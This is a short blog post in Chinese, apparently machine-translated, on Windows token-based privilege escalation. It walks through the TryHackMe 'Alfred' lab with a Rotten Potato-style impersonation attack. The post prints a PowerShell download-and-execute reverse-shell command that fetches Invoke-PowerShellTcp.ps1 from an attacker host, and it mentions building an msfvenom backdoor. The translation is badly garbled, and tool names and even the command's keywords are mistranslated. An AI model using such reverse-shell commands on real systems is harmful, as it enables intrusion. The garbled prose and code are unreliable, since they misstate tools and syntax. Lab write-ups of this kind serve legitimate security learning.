Windows基于令牌的特权升级

3分钟阅读 2020年7月27日

- - -

Windows实现它的安全的方法之一是使用访问令牌,这样用户不能访问受保护的内容,另一个用户。

是一个访问令牌是短,令牌课本的答案是:

是一个对象,描述了吗安全上下文过程或线程。在令牌的信息包括用户的身份和权限帐户相关的进程或线程。

简单来说,访问令牌检查用户运行的过程。将生成令牌当用户登录到系统,系统与内部安全数据库验证用户提供密码,如果密码是正确的用户将被授予一个访问令牌。

进程和线程

进程可以有多个线程使用,线程与进程共享内存而工作,把它像大绳是由小绳子做这项工作。

令牌分为两种类型。

  • 主令牌
  • 模拟令牌

每一个过程都有主令牌描述安全上下文与过程相关联的用户帐户。默认情况下,系统采用主令牌当一个线程的进程与可获得的对象

此外,一个线程可以冒充客户帐户。模拟允许线程与可获得的对象使用客户的安全上下文。一个线程是冒充客户既有主令牌和一个模拟令牌

此外模拟令牌子分为四个水平

  • 匿名——远程服务器无法模拟客户端。
  • 识别——远程服务器可以识别客户端但不能模仿。
  • 模拟——远程服务器可以识别和模拟客户端只能在一个系统中。
  • 代表团——远程服务器可以跨多个系统识别和模拟客户端。

所以现在有趣的部分

我们能做的令牌直接模拟在powershell完全合法的模块。这将产生一个新的线程作为用户你模仿,但它可以工作在同一个线程。因此,如果你模仿然后类型whoami它可能仍然显示原来的用户名,但是你还有我感到你的目标用户。然而如果你生成一个新进程(或一个新的shell)和迁移到你会有壳的账户你是冒充的。

让我们用腐烂的马铃薯利用特权升级

工作的利用

诱骗“NT AUTHORITY) \系统”项目通过NTLM验证我们控制TCP端点。

中间人这种身份验证(NTLM继电器)试图在当地谈判的安全令牌“NT AUTHORITY) \系统”账户。这是通过一系列的Windows API调用。

模拟令牌我们刚刚协商。这只能如果攻击者经常账户有特权冒充安全令牌。这通常是真正的大多数服务帐户而不是真正的大多数用户级的账户。

例如我们根# Tryhackme阿尔弗雷德机器

首先获取初始的外壳利用windows命令执行项目通过注入代码的功能

powershell iex(新对象Net.WebClient) .DownloadString (http://your-ip:你港/ Invoke-PowerShellTcp.ps1); Invoke-PowerShellTcp反向ipaddress你的ip - port你港

用户将开始一个python ftp服务器,所以受害者电脑可以下载吗

现在获得合适的壳,创建一个无国界医生组织后门并执行它的帮助下最初的壳

现在的基于令牌的特权升级部分

检查所有的特权给用户

启用了SeDebugPrivilege和SeImpersonatePrivilege特权,加载隐身模拟令牌

模仿的令牌高级用户和用户将获得更高的权限

就是这样的机器是根深蒂固的

- - -

- - -

“这不是明智的评判别人根据自己的偏见,他们的外表。”

Baidu